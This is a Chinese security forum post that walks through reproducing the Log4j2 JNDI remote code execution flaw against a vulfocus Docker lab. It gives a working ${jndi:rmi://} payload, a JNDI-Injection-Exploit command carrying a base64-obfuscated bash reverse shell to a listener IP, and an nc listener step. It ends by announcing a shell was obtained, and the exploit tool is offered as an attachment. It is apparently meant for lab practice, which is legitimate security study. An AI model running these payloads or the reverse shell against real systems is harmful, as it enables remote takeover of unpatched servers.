因为影响很大 大家都懂直接复现吧 工具会打包在附件里
安装 apt-get install docker 或者 apt-get install docker*
启动服务 systemctl start docker-registry.service
下载 docker pull vulfocus/log4j2-rce-2021-12-09:latest
查看安装的镜像 docker images
启动 docker run -d —name rec —privileged=true -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
启动容器并把本机的8080映射到容器里的8080 注意不要和你burp端口冲突
然后访问你本机的8080端口看到这个就是靶场起好了
当web程序使用log4j2组件并用他打印日志时 请求包中有${jndi:}
会被解析
关于JNDI
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)
RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。
开启你的burp 注意你监听的端口要改
漏洞url http://127.0.0.1:8080/hello
抓包放到Repeater里
修改请求类型为post
构造payload
从dnslog 搞个域名
payload=${jndi:rmi://irmtse.dnslog.cn:1099/sf6eat}
然后使用工具 反弹 nc shell
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C (命令) -A (监听的本机ip)
事例:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMjEzLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.222"
把base64拿出来做修改
然后启动工具
我们这个靶场是tomcat的所以复制这个rmi地址
然后先不要发送 先起一个nc监听 nc -lvp 9999
发送过去
就拿到shell了
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 35.00 | 0 | 2022-01-25 11:11:26 | 活动奖励 |
Track-劲夫 | 70.00 | 0 | 2022-01-25 11:11:17 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip 文件大小:9.198M (下载次数:53)
© 2016 - 2024 掌控者 All Rights Reserved.
徐浩洋
发表于 2022-1-30
真好这个文章
评论列表
加载数据中...